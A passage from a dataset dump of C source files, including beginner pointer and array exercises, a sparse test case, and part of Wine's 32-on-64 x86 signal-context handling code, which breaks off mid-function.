file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/23575977.c
|
#include <stdio.h>
#include <stdlib.h>
#define LEN 100
int main(void){
char *str;
str = (char*)malloc(LEN*sizeof(char));
if(str == NULL){
fprintf(stderr, "malloc failed.");
exit(EXIT_FAILURE);
}
str[0] = 'H';
str[1] = '\0';
str[2] = 'e';
//printf("s[0]:%p \n", &s[0]);
//printf("s :%p \n", s);
//printf("s+1 :%p \n", s+1);
//printf("s[1]:%p \n", &s[1]);
printf("%s\n", str);
free(str);
return 0;
}
|
the_stack_data/167331428.c
|
/* Copyright (C) 2002 Free Software Foundation, Inc.
This file is part of the GNU C Library.
Contributed by Ulrich Drepper <[email protected]>, 2002.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; see the file COPYING.LIB. If
not, see <http://www.gnu.org/licenses/>. */
/* Not needed. pthread_spin_init is an alias for pthread_spin_unlock. */
|
the_stack_data/922873.c
|
// Building three different functions
#include <stdio.h>
#include <stdlib.h>
// a is an array of values and n is the array length
int largest_element(int a[], int n);
int average(int a[], int n);
int positives(int a[], int n);
int main(void)
{
const int n = 5; // array length
int a[n];
for (int i = 0; i < n; i++)
a[i] = 0;
int size = sizeof(int);
int* first_pointer = &a[0];
int first_value = a[0];
int* second_pointer = &a[1];
int second_value = a[1];
int* last_pointer = &a[n - 1];
int last_value = a[n - 1];
printf("Enter 5 integers: ");
for (int i = 0; i < n; i++)
{
scanf("%d", &a[i]);
}
// you can use either &a[0] or a because it assumes a pointer if you use brackets.
printf("The largest element is %d.\n", largest_element(a, n));
printf("The average is %d.\n", average(a, n));
printf("There are %d positive numbers.\n", positives(a, n));
return 0;
}
int largest_element(int a[], int n)
{
int high = a[0];
for (int i = 0; i < n; i++)
{
if (a[i] > high) // implies a + i
high = a[i];
}
return high;
}
int average(int a[], int n)
{
int sum = 0;
for (int i = 0; i < n; i++)
sum += a[i];
return sum / n;
}
int positives(int a[], int n)
{
int positive = 0;
for (int i = 0; i < n; i++)
{
if (a[i] >= 0)
positive++;
}
return positive;
}
|
the_stack_data/99529.c
|
#include <stddef.h>
#include <stdio.h>
int main()
{
const char message[] = "hello from slibc!\n";
for (size_t i = 0; i < sizeof(message); ++i)
{
const char c = message[i];
putchar(c);
}
return 0;
}
|
the_stack_data/243893195.c
|
int and_0(int a)
{
return a && 0;
}
int and_1(int a)
{
return a && 1;
}
int or_0(int a)
{
return a || 0;
}
int or_1(int a)
{
return a || 1;
}
/*
* check-name: bool-simplify
* check-command: test-linearize -Wno-decl $file
*
* check-output-start
and_0:
.L0:
<entry-point>
ret.32 $0
and_1:
.L2:
<entry-point>
setne.1 %r8 <- %arg1, $0
cast.32 %r11 <- (1) %r8
ret.32 %r11
or_0:
.L4:
<entry-point>
setne.1 %r14 <- %arg1, $0
cast.32 %r17 <- (1) %r14
ret.32 %r17
or_1:
.L6:
<entry-point>
ret.32 $1
* check-output-end
*/
|
the_stack_data/62639052.c
|
#include <stdio.h>
//Copyright Chelin Tutorials. All Rights Reserved
//http://chelintutorials.blogspot.com/
//Punteros: variable que contiene la direc de memoria de otra
int main(void){
int b=5;
int * puntero1;
int resultado;
puntero1=&b; //ahora apunta a b
resultado=10+*puntero1;
printf("resultado: %d\n",resultado);
//cambio el valor de b
b=3;
resultado=10+*puntero1;
printf("resultado: %d\n",resultado);
b=5;
printf("b : %d\n",b);
printf("puntero1 : %d\n",puntero1);
printf("*puntero1 : %d\n",*puntero1);
return 0;
}
|
the_stack_data/154829333.c
|
/*
* x86-32on64 signal handling routines
*
* Copyright 1999 Alexandre Julliard
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#if 0
#pragma makedep unix
#endif
#ifdef __i386_on_x86_64__
#include "config.h"
#include "wine/port.h"
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <stdarg.h>
#include <stdio.h>
#include <sys/types.h>
#include <assert.h>
#ifdef HAVE_UNISTD_H
# include <unistd.h>
#endif
#ifdef HAVE_SYS_PARAM_H
# include <sys/param.h>
#endif
#ifdef HAVE_SYSCALL_H
# include <syscall.h>
#else
# ifdef HAVE_SYS_SYSCALL_H
# include <sys/syscall.h>
# endif
#endif
#ifdef HAVE_SYS_SIGNAL_H
# include <sys/signal.h>
#endif
#ifdef HAVE_SYS_UCONTEXT_H
# include <sys/ucontext.h>
#endif
#ifdef __APPLE__
# include <mach/mach.h>
#endif
#include "ntstatus.h"
#define WIN32_NO_STATUS
#include "windef.h"
#include "winternl.h"
#include "ddk/wdm.h"
#include "wine/asm.h"
#include "wine/exception.h"
#include "unix_private.h"
#include "wine/debug.h"
WINE_DEFAULT_DEBUG_CHANNEL(seh);
#undef ERR /* Solaris needs to define this */
/***********************************************************************
* signal context platform-specific definitions
*/
#ifdef __APPLE__
#include <architecture/i386/table.h>
#include <i386/user_ldt.h>
#if defined(MAC_OS_X_VERSION_10_15) && MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_15
typedef _STRUCT_MCONTEXT64_FULL *wine_mcontext;
#else
typedef struct
{
x86_thread_state64_t __ss64;
__uint64_t __ds;
__uint64_t __es;
__uint64_t __ss;
__uint64_t __gsbase;
} wine_thread_state;
typedef struct
{
x86_exception_state64_t __es;
wine_thread_state __ss;
x86_float_state64_t __fs;
} * HOSTPTR wine_mcontext;
#endif
#define RAX_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__rax)
#define RBX_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__rbx)
#define RCX_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__rcx)
#define RDX_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__rdx)
#define RSI_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__rsi)
#define RDI_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__rdi)
#define RBP_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__rbp)
#define R8_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__r8)
#define R9_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__r9)
#define R10_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__r10)
#define R11_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__r11)
#define R12_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__r12)
#define R13_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__r13)
#define R14_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__r14)
#define R15_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__r15)
#define CS_sig(context) (*(WORD* HOSTPTR)&((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__cs)
#define DS_sig(context) (*(WORD* HOSTPTR)&((wine_mcontext)(context)->uc_mcontext)->__ss.__ds)
#define ES_sig(context) (*(WORD* HOSTPTR)&((wine_mcontext)(context)->uc_mcontext)->__ss.__es)
#define SS_sig(context) (*(WORD* HOSTPTR)&((wine_mcontext)(context)->uc_mcontext)->__ss.__ss)
#define FS_sig(context) (*(WORD* HOSTPTR)&((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__fs)
#define GS_sig(context) (*(WORD* HOSTPTR)&((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__gs)
#define EFL_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__rflags)
#define RIP_sig(context) (*((unsigned long* HOSTPTR)&((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__rip))
#define RSP_sig(context) (*((unsigned long* HOSTPTR)&((wine_mcontext)(context)->uc_mcontext)->__ss.__ss64.__rsp))
#define TRAP_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__es.__trapno)
#define ERROR_sig(context) (((wine_mcontext)(context)->uc_mcontext)->__es.__err)
#define FPU_sig(context) NULL /*((XMM_SAVE_AREA32 * HOSTPTR)&((wine_mcontext)(context)->uc_mcontext)->__fs.__fpu_fcw)*/
#define FPUX_sig(context) ((XSAVE_FORMAT * HOSTPTR)&((wine_mcontext)(context)->uc_mcontext)->__fs.__fpu_fcw)
#define XState_sig(context) NULL /* FIXME */
#else
#error You must define the signal context functions for your platform
#endif /* __APPLE__ */
static ULONG first_ldt_entry = 32;
enum i386_trap_code
{
#if defined(__FreeBSD__) || defined (__FreeBSD_kernel__) || defined(__NetBSD__) || defined(__OpenBSD__) || defined(__DragonFly__)
TRAP_x86_DIVIDE = T_DIVIDE, /* Division by zero exception */
TRAP_x86_TRCTRAP = T_TRCTRAP, /* Single-step exception */
TRAP_x86_NMI = T_NMI, /* NMI interrupt */
TRAP_x86_BPTFLT = T_BPTFLT, /* Breakpoint exception */
TRAP_x86_OFLOW = T_OFLOW, /* Overflow exception */
TRAP_x86_BOUND = T_BOUND, /* Bound range exception */
TRAP_x86_PRIVINFLT = T_PRIVINFLT, /* Invalid opcode exception */
TRAP_x86_DNA = T_DNA, /* Device not available exception */
TRAP_x86_DOUBLEFLT = T_DOUBLEFLT, /* Double fault exception */
TRAP_x86_FPOPFLT = T_FPOPFLT, /* Coprocessor segment overrun */
TRAP_x86_TSSFLT = T_TSSFLT, /* Invalid TSS exception */
TRAP_x86_SEGNPFLT = T_SEGNPFLT, /* Segment not present exception */
TRAP_x86_STKFLT = T_STKFLT, /* Stack fault */
TRAP_x86_PROTFLT = T_PROTFLT, /* General protection fault */
TRAP_x86_PAGEFLT = T_PAGEFLT, /* Page fault */
TRAP_x86_ARITHTRAP = T_ARITHTRAP, /* Floating point exception */
TRAP_x86_ALIGNFLT = T_ALIGNFLT, /* Alignment check exception */
TRAP_x86_MCHK = T_MCHK, /* Machine check exception */
TRAP_x86_CACHEFLT = T_XMMFLT /* Cache flush exception */
#else
TRAP_x86_DIVIDE = 0, /* Division by zero exception */
TRAP_x86_TRCTRAP = 1, /* Single-step exception */
TRAP_x86_NMI = 2, /* NMI interrupt */
TRAP_x86_BPTFLT = 3, /* Breakpoint exception */
TRAP_x86_OFLOW = 4, /* Overflow exception */
TRAP_x86_BOUND = 5, /* Bound range exception */
TRAP_x86_PRIVINFLT = 6, /* Invalid opcode exception */
TRAP_x86_DNA = 7, /* Device not available exception */
TRAP_x86_DOUBLEFLT = 8, /* Double fault exception */
TRAP_x86_FPOPFLT = 9, /* Coprocessor segment overrun */
TRAP_x86_TSSFLT = 10, /* Invalid TSS exception */
TRAP_x86_SEGNPFLT = 11, /* Segment not present exception */
TRAP_x86_STKFLT = 12, /* Stack fault */
TRAP_x86_PROTFLT = 13, /* General protection fault */
TRAP_x86_PAGEFLT = 14, /* Page fault */
TRAP_x86_ARITHTRAP = 16, /* Floating point exception */
TRAP_x86_ALIGNFLT = 17, /* Alignment check exception */
TRAP_x86_MCHK = 18, /* Machine check exception */
TRAP_x86_CACHEFLT = 19 /* SIMD exception (via SIGFPE) if CPU is SSE capable
otherwise Cache flush exception (via SIGSEV) */
#endif
};
struct syscall_xsave
{
union
{
XSAVE_FORMAT xsave;
FLOATING_SAVE_AREA fsave;
} u;
struct
{
ULONG64 mask;
ULONG64 compaction_mask;
ULONG64 reserved[6];
M128A ymm_high[8];
} xstate;
};
C_ASSERT( sizeof(struct syscall_xsave) == 0x2c0 );
struct syscall_frame
{
DWORD eflags; /* 00 */
DWORD eip; /* 04 */
DWORD esp; /* 08 */
WORD cs; /* 0c */
WORD ss; /* 0e */
WORD ds; /* 10 */
WORD es; /* 12 */
WORD fs; /* 14 */
WORD gs; /* 16 */
DWORD eax; /* 18 */
DWORD ebx; /* 1c */
DWORD ecx; /* 20 */
DWORD edx; /* 24 */
DWORD edi; /* 28 */
DWORD esi; /* 2c */
DWORD ebp; /* 30 */
};
C_ASSERT( sizeof(struct syscall_frame) == 0x34 );
struct x86_thread_data
{
DWORD fs; /* 1d4 TEB selector */
DWORD gs; /* 1d8 libc selector; update winebuild if you move this! */
DWORD dr0; /* 1dc debug registers */
DWORD dr1; /* 1e0 */
DWORD dr2; /* 1e4 */
DWORD dr3; /* 1e8 */
DWORD dr6; /* 1ec */
DWORD dr7; /* 1f0 */
void *exit_frame; /* 1f4 exit frame pointer */
struct syscall_frame *syscall_frame; /* 1f8 frame pointer on syscall entry */
};
C_ASSERT( sizeof(struct x86_thread_data) <= sizeof(((struct ntdll_thread_data *)0)->cpu_data) );
C_ASSERT( offsetof( TEB, GdiTebBatch ) + offsetof( struct x86_thread_data, gs ) == 0x1d8 );
C_ASSERT( offsetof( TEB, GdiTebBatch ) + offsetof( struct x86_thread_data, exit_frame ) == 0x1f4 );
C_ASSERT( offsetof( TEB, GdiTebBatch ) + offsetof( struct x86_thread_data, syscall_frame ) == 0x1f8 );
static void *syscall_dispatcher;
static inline struct x86_thread_data *x86_thread_data(void)
{
return (struct x86_thread_data *)ntdll_get_thread_data()->cpu_data;
}
void *get_syscall_frame(void)
{
return x86_thread_data()->syscall_frame;
}
void set_syscall_frame(void *frame)
{
x86_thread_data()->syscall_frame = frame;
}
static struct syscall_xsave *get_syscall_xsave( struct syscall_frame *frame )
{
return (struct syscall_xsave *)((ULONG_PTR)((struct syscall_xsave *)frame - 1) & ~63);
}
/* CW HACK 18765:
* Rosetta on Apple Silicon has a bug where 'movw' from segment selector
* to memory writes 32-bits instead of 16.
* Write to a 32-bit variable so nothing gets overwritten.
*/
static inline WORD get_cs(void) { DWORD res; __asm__( "movl %%cs,%0" : "=r" (res) ); return res; }
static inline WORD get_ds(void) { DWORD res; __asm__( "movl %%ds,%0" : "=r" (res) ); return res; }
static inline WORD get_fs(void) { DWORD res; __asm__( "movl %%fs,%0" : "=r" (res) ); return res; }
static inline WORD get_gs(void) { DWORD res; __asm__( "movl %%gs,%0" : "=r" (res) ); return res; }
/* 32on64 FIXME: check set_fs() */
static inline void set_fs( WORD val ) { __asm__( "mov %0,%%fs" :: "r" (val)); }
//static inline void set_fs( WORD val ) { __asm__( "movw %%di,%%fs" ); }
static inline void set_gs( WORD val ) { __asm__( "int $3" ); }
/***********************************************************************
* unwind_builtin_dll
*/
NTSTATUS CDECL unwind_builtin_dll( ULONG type, struct _DISPATCHER_CONTEXT *dispatch, CONTEXT *context )
{
return STATUS_UNSUCCESSFUL;
}
/***********************************************************************
* is_gdt_sel
*/
static inline int is_gdt_sel( WORD sel )
{
return !(sel & 4);
}
/***********************************************************************
* ldt_is_system
*/
static inline int ldt_is_system( WORD sel )
{
if (sel == wine_32on64_cs32 || sel == wine_32on64_ds32)
return TRUE;
return is_gdt_sel( sel ) || ((sel >> 3) < first_ldt_entry);
}
/***********************************************************************
* get_current_teb
*
* Get the current teb based on the stack pointer.
*/
static inline TEB *get_current_teb(void)
{
unsigned long rsp;
__asm__("movq %%rsp,%0" : "=g" (rsp) );
return (TEB *)(DWORD)((rsp & ~signal_stack_mask) + teb_offset);
}
#ifdef __sun
/* We have to workaround two Solaris breakages:
* - Solaris doesn't restore %ds and %es before calling the signal handler so exceptions in 16-bit
* code crash badly.
* - Solaris inserts a libc trampoline to call our handler, but the trampoline expects that registers
* are setup correctly. So we need to insert our own trampoline below the libc trampoline to set %gs.
*/
extern int sigaction_syscall( int sig, const struct sigaction *new, struct sigaction *old );
__ASM_GLOBAL_FUNC( sigaction_syscall,
"movl $0x62,%eax\n\t"
"int $0x91\n\t"
"ret" )
/* assume the same libc handler is used for all signals */
static void (*libc_sigacthandler)( int signal, siginfo_t *siginfo, void *context );
static void wine_sigacthandler( int signal, siginfo_t *siginfo, void *sigcontext )
{
struct x86_thread_data *thread_data;
__asm__ __volatile__("mov %ss,%ax; mov %ax,%ds; mov %ax,%es");
thread_data = (struct x86_thread_data *)get_current_teb()->GdiTebBatch;
set_fs( thread_data->fs );
set_gs( thread_data->gs );
libc_sigacthandler( signal, siginfo, sigcontext );
}
static int solaris_sigaction( int sig, const struct sigaction *new, struct sigaction *old )
{
struct sigaction real_act;
if (sigaction( sig, new, old ) == -1) return -1;
/* retrieve the real handler and flags with a direct syscall */
sigaction_syscall( sig, NULL, &real_act );
libc_sigacthandler = real_act.sa_sigaction;
real_act.sa_sigaction = wine_sigacthandler;
sigaction_syscall( sig, &real_act, NULL );
return 0;
}
#define sigaction(sig,new,old) solaris_sigaction(sig,new,old)
#endif
static inline int sel_is_64bit( unsigned short sel )
{
return sel != wine_32on64_cs32 && sel != wine_32on64_ds32 &&
ldt_is_system( sel );
}
/***********************************************************************
* init_handler
*
* Handler initialization when the full context is not needed.
* Return the stack pointer to use for pushing the exception data.
*/
static inline void *init_handler( const ucontext_t *sigcontext )
{
TEB *teb = get_current_teb();
#ifndef __sun /* see above for Solaris handling */
{
struct x86_thread_data *thread_data = (struct x86_thread_data *)&teb->GdiTebBatch;
set_fs( thread_data->fs );
/* Don't set %gs. That would corrupt the 64-bit GS.base and have no other effect. */
__asm__ volatile ( "mov %0, %%ds\n\t"
"mov %0, %%es\n\t"
: : "r" (wine_32on64_ds32) );
}
#endif
#if 0
if (!ldt_is_system(CS_sig(sigcontext)) || !ldt_is_system(SS_sig(sigcontext))) /* 16-bit mode */
{
/*
* Win16 or DOS protected mode. Note that during switch
* from 16-bit mode to linear mode, CS may be set to system
* segment before FS is restored. Fortunately, in this case
* SS is still non-system segment. This is why both CS and SS
* are checked.
*/
return teb->SystemReserved1[0];
}
#endif
return (void *)(DWORD)(RSP_sig(sigcontext) & ~15);
}
/***********************************************************************
* save_fpu
*
* Save the thread FPU context.
*/
static inline void save_fpu( CONTEXT *context )
{
struct
{
DWORD ControlWord;
DWORD StatusWord;
DWORD TagWord;
DWORD ErrorOffset;
DWORD ErrorSelector;
DWORD DataOffset;
DWORD DataSelector;
}
float_status;
context->ContextFlags |= CONTEXT_FLOATING_POINT;
__asm__ __volatile__( "fnsave %0; fwait" : "=m" (context->FloatSave) );
/* Reset unmasked exceptions status to avoid firing an exception. */
memcpy(&float_status, &context->FloatSave, sizeof(float_status));
float_status.StatusWord &= float_status.ControlWord | 0xffffff80;
__asm__ __volatile__( "fldenv %0" : : "m" (float_status) );
}
/***********************************************************************
* restore_fpu
*
* Restore the x87 FPU context
*/
static inline void restore_fpu( const CONTEXT *context )
{
FLOATING_SAVE_AREA float_status = context->FloatSave;
/* reset the current interrupt status */
float_status.StatusWord &= float_status.ControlWord | 0xffffff80;
__asm__ __volatile__( "frstor %0; fwait" : : "m" (float_status) );
}
/***********************************************************************
* fpux_to_fpu
*
* Build a standard FPU context from an extended one.
*/
static void fpux_to_fpu( FLOATING_SAVE_AREA *fpu, const XSAVE_FORMAT * HOSTPTR fpux )
{
unsigned int i, tag, stack_top;
fpu->ControlWord = fpux->ControlWord | 0xffff0000;
fpu->StatusWord = fpux->StatusWord | 0xffff0000;
fpu->ErrorOffset = fpux->ErrorOffset;
fpu->ErrorSelector = fpux->ErrorSelector | (fpux->ErrorOpcode << 16);
fpu->DataOffset = fpux->DataOffset;
fpu->DataSelector = fpux->DataSelector;
fpu->Cr0NpxState = fpux->StatusWord | 0xffff0000;
stack_top = (fpux->StatusWord >> 11) & 7;
fpu->TagWord = 0xffff0000;
for (i = 0; i < 8; i++)
{
memcpy( &fpu->RegisterArea[10 * i], &fpux->FloatRegisters[i], 10 );
if (!(fpux->TagWord & (1 << i))) tag = 3; /* empty */
else
{
const M128A * HOSTPTR reg = &fpux->FloatRegisters[(i - stack_top) & 7];
if ((reg->High & 0x7fff) == 0x7fff) /* exponent all ones */
{
tag = 2; /* special */
}
else if (!(reg->High & 0x7fff)) /* exponent all zeroes */
{
if (reg->Low) tag = 2; /* special */
else tag = 1; /* zero */
}
else
{
if (reg->Low >> 63) tag = 0; /* valid */
else tag = 2; /* special */
}
}
fpu->TagWord |= tag << (2 * i);
}
}
/***********************************************************************
* fpu_to_fpux
*
* Fill extended FPU context from standard one.
*/
static void fpu_to_fpux( XSAVE_FORMAT *fpux, const FLOATING_SAVE_AREA *fpu )
{
unsigned int i;
fpux->ControlWord = fpu->ControlWord;
fpux->StatusWord = fpu->StatusWord;
fpux->ErrorOffset = fpu->ErrorOffset;
fpux->ErrorSelector = fpu->ErrorSelector;
fpux->ErrorOpcode = fpu->ErrorSelector >> 16;
fpux->DataOffset = fpu->DataOffset;
fpux->DataSelector = fpu->DataSelector;
fpux->TagWord = 0;
for (i = 0; i < 8; i++)
{
if (((fpu->TagWord >> (i * 2)) & 3) != 3)
fpux->TagWord |= 1 << i;
memcpy( &fpux->FloatRegisters[i], &fpu->RegisterArea[10 * i], 10 );
}
}
/***********************************************************************
* save_context
*
* Build a context structure from the signal info.
*/
static inline void save_context( struct xcontext *xcontext, const ucontext_t *sigcontext )
{
FLOATING_SAVE_AREA *fpu = FPU_sig(sigcontext);
XSAVE_FORMAT * HOSTPTR fpux = FPUX_sig(sigcontext);
CONTEXT *context = &xcontext->c;
memset(context, 0, sizeof(*context));
context->ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
context->Eax = RAX_sig(sigcontext);
context->Ebx = RBX_sig(sigcontext);
context->Ecx = RCX_sig(sigcontext);
context->Edx = RDX_sig(sigcontext);
context->Esi = RSI_sig(sigcontext);
context->Edi = RDI_sig(sigcontext);
context->Ebp = RBP_sig(sigcontext);
context->EFlags = EFL_sig(sigcontext);
context->Eip = RIP_sig(sigcontext);
context->Esp = RSP_sig(sigcontext);
context->SegCs = CS_sig(sigcontext);
context->SegDs = DS_sig(sigcontext);
context->SegEs = ES_sig(sigcontext);
context->SegFs = FS_sig(sigcontext);
context->SegGs = GS_sig(sigcontext);
context->SegSs = SS_sig(sigcontext);
context->Dr0 = x86_thread_data()->dr0;
context->Dr1 = x86_thread_data()->dr1;
context->Dr2 = x86_thread_data()->dr2;
context->Dr3 = x86_thread_data()->dr3;
context->Dr6 = x86_thread_data()->dr6;
context->Dr7 = x86_thread_data()->dr7;
if (fpu)
{
context->ContextFlags |= CONTEXT_FLOATING_POINT;
context->FloatSave = *fpu;
}
if (fpux)
{
XSTATE *xs;
context->ContextFlags |= CONTEXT_FLOATING_POINT | CONTEXT_EXTENDED_REGISTERS;
memcpy( context->ExtendedRegisters, fpux, sizeof(*fpux) );
if (!fpu) fpux_to_fpu( &context->FloatSave, fpux );
if ((cpu_info.FeatureSet & CPU_FEATURE_AVX) && (xs = XState_sig(fpux)))
{
context_init_xstate( context, xs );
xcontext->host_compaction_mask = xs->CompactionMask;
}
}
if (!fpu && !fpux) save_fpu( context );
}
/***********************************************************************
* restore_context
*
* Restore the signal info from the context.
*/
static inline void restore_context( const struct xcontext *xcontext, ucontext_t *sigcontext )
{
FLOATING_SAVE_AREA *fpu = FPU_sig(sigcontext);
XSAVE_FORMAT * HOSTPTR fpux = FPUX_sig(sigcontext);
const CONTEXT *context = &xcontext->c;
/* can't restore a 32-bit context into 64-bit mode */
if (sel_is_64bit(context->SegCs)) return;
x86_thread_data()->dr0 = context->Dr0;
x86_thread_data()->dr1 = context->Dr1;
x86_thread_data()->dr2 = context->Dr2;
x86_thread_data()->dr3 = context->Dr3;
x86_thread_data()->dr6 = context->Dr6;
x86_thread_data()->dr7 = context->Dr7;
RAX_sig(sigcontext) = context->Eax;
RBX_sig(sigcontext) = context->Ebx;
RCX_sig(sigcontext) = context->Ecx;
RDX_sig(sigcontext) = context->Edx;
RSI_sig(sigcontext) = context->Esi;
RDI_sig(sigcontext) = context->Edi;
RBP_sig(sigcontext) = context->Ebp;
EFL_sig(sigcontext) = context->EFlags;
RIP_sig(sigcontext) = context->Eip;
RSP_sig(sigcontext) = context->Esp;
CS_sig(sigcontext) = context->SegCs;
DS_sig(sigcontext) = context->SegDs;
ES_sig(sigcontext) = context->SegEs;
FS_sig(sigcontext) = context->SegFs;
GS_sig(sigcontext) = context->SegGs;
SS_sig(sigcontext) = context->SegSs;
if (fpu) *fpu = context->FloatSave;
if (fpux)
{
XSTATE *src_xs, *dst_xs;
memcpy( fpux, context->ExtendedRegisters, sizeof(*fpux) );
if ((dst_xs = XState_sig(fpux)) && (src_xs = xstate_from_context( context )))
{
memcpy( &dst_xs->YmmContext, &src_xs->YmmContext, sizeof(dst_xs->YmmContext) );
dst_xs->Mask |= src_xs->Mask;
dst_xs->CompactionMask = xcontext->host_compaction_mask;
}
}
if (!fpu && !fpux) restore_fpu( context );
}
/***********************************************************************
* set_full_cpu_context
*
* Set the new CPU context.
*/
extern void CDECL set_full_cpu_context(void);
__ASM_GLOBAL_FUNC32( __ASM_THUNK_NAME(set_full_cpu_context),
"movl %fs:0x1f8,%ecx\n\t"
"movl $0,%fs:0x1f8\n\t" /* x86_thread_data()->syscall_frame = NULL */
"cmpw $0,0x16(%ecx)\n\t" /* SegGs, if not 0 */
"je 1f\n\t"
"movw 0x16(%ecx),%gs\n"
"1:\n\t"
"movw 0x14(%ecx),%fs\n\t" /* SegFs */
"movw 0x12(%ecx),%es\n\t" /* SegEs */
"movl 0x1c(%ecx),%ebx\n\t" /* Ebx */
"movl 0x28(%ecx),%edi\n\t" /* Edi */
"movl 0x2c(%ecx),%esi\n\t" /* Esi */
"movl 0x30(%ecx),%ebp\n\t" /* Ebp */
"movw %ss,%ax\n\t"
"cmpw 0x0e(%ecx),%ax\n\t" /* SegSs */
"jne 1f\n\t"
/* As soon as we have switched stacks the context structure could
* be invalid (when signal handlers are executed for example). Copy
* values on the target stack before changing ESP. */
"movl 0x08(%ecx),%eax\n\t" /* Esp */
"leal -4*4(%eax),%eax\n\t"
"movl (%ecx),%edx\n\t" /* EFlags */
"movl %edx,3*4(%eax)\n\t"
"movl 0x0c(%ecx),%edx\n\t" /* SegCs */
"movl %edx,2*4(%eax)\n\t"
"movl 0x04(%ecx),%edx\n\t" /* Eip */
"movl %edx,1*4(%eax)\n\t"
"movl 0x18(%ecx),%edx\n\t" /* Eax */
"movl %edx,0*4(%eax)\n\t"
"pushl 0x10(%ecx)\n\t" /* SegDs */
"movl 0x24(%ecx),%edx\n\t" /* Edx */
"movl 0x20(%ecx),%ecx\n\t" /* Ecx */
"popl %ds\n\t"
"movl %eax,%esp\n\t"
"popl %eax\n\t"
"iret\n"
/* Restore the context when the stack segment changes. We can't use
* the same code as above because we do not know if the stack segment
* is 16 or 32 bit, and 'movl' will throw an exception when we try to
* access memory above the limit. */
"1:\n\t"
"movl 0x24(%ecx),%edx\n\t" /* Edx */
"movl 0x18(%ecx),%eax\n\t" /* Eax */
"movw 0x0e(%ecx),%ss\n\t" /* SegSs */
"movl 0x08(%ecx),%esp\n\t" /* Esp */
"pushl 0x00(%ecx)\n\t" /* EFlags */
"pushl 0x0c(%ecx)\n\t" /* SegCs */
"pushl 0x04(%ecx)\n\t" /* Eip */
"pushl 0x10(%ecx)\n\t" /* SegDs */
"movl 0x20(%ecx),%ecx\n\t" /* Ecx */
"popl %ds\n\t"
"iret" )
/***********************************************************************
* signal_restore_full_cpu_context
*
* Restore full context from syscall frame
*/
void signal_restore_full_cpu_context(void)
{
struct syscall_xsave *xsave = get_syscall_xsave( get_syscall_frame() );
if (cpu_info.FeatureSet & CPU_FEATURE_XSAVE)
{
__asm__ volatile( "xrstor %0" : : "m"(*xsave), "a" (7), "d" (0) );
}
else if (cpu_info.FeatureSet & CPU_FEATURE_FXSR)
{
__asm__ volatile( "fxrstor %0" : : "m"(xsave->u.xsave) );
}
else
{
__asm__ volatile( "frstor %0; fwait" : : "m" (xsave->u.fsave) );
}
WINE_CALL_IMPL32(set_full_cpu_context)();
}
/***********************************************************************
* get_server_context_flags
*
* Convert CPU-specific flags to generic server flags
*/
static unsigned int get_server_context_flags( DWORD flags )
{
unsigned int ret = 0;
flags &= ~CONTEXT_i386; /* get rid of CPU id */
if (flags & CONTEXT_CONTROL) ret |= SERVER_CTX_CONTROL;
if (flags & CONTEXT_INTEGER) ret |= SERVER_CTX_INTEGER;
if (flags & CONTEXT_SEGMENTS) ret |= SERVER_CTX_SEGMENTS;
if (flags & CONTEXT_FLOATING_POINT) ret |= SERVER_CTX_FLOATING_POINT;
if (flags & CONTEXT_DEBUG_REGISTERS) ret |= SERVER_CTX_DEBUG_REGISTERS;
if (flags & CONTEXT_EXTENDED_REGISTERS) ret |= SERVER_CTX_EXTENDED_REGISTERS;
if (flags & CONTEXT_XSTATE) ret |= SERVER_CTX_YMM_REGISTERS;
return ret;
}
/***********************************************************************
* context_to_server
*
* Convert a register context to the server format.
*/
NTSTATUS context_to_server( context_t *to, const CONTEXT *from )
{
DWORD flags = from->ContextFlags & ~CONTEXT_i386; /* get rid of CPU id */
memset( to, 0, sizeof(*to) );
to->cpu = CPU_x86;
if (flags & CONTEXT_CONTROL)
{
to->flags |= SERVER_CTX_CONTROL;
to->ctl.i386_regs.ebp = from->Ebp;
to->ctl.i386_regs.esp = from->Esp;
to->ctl.i386_regs.eip = from->Eip;
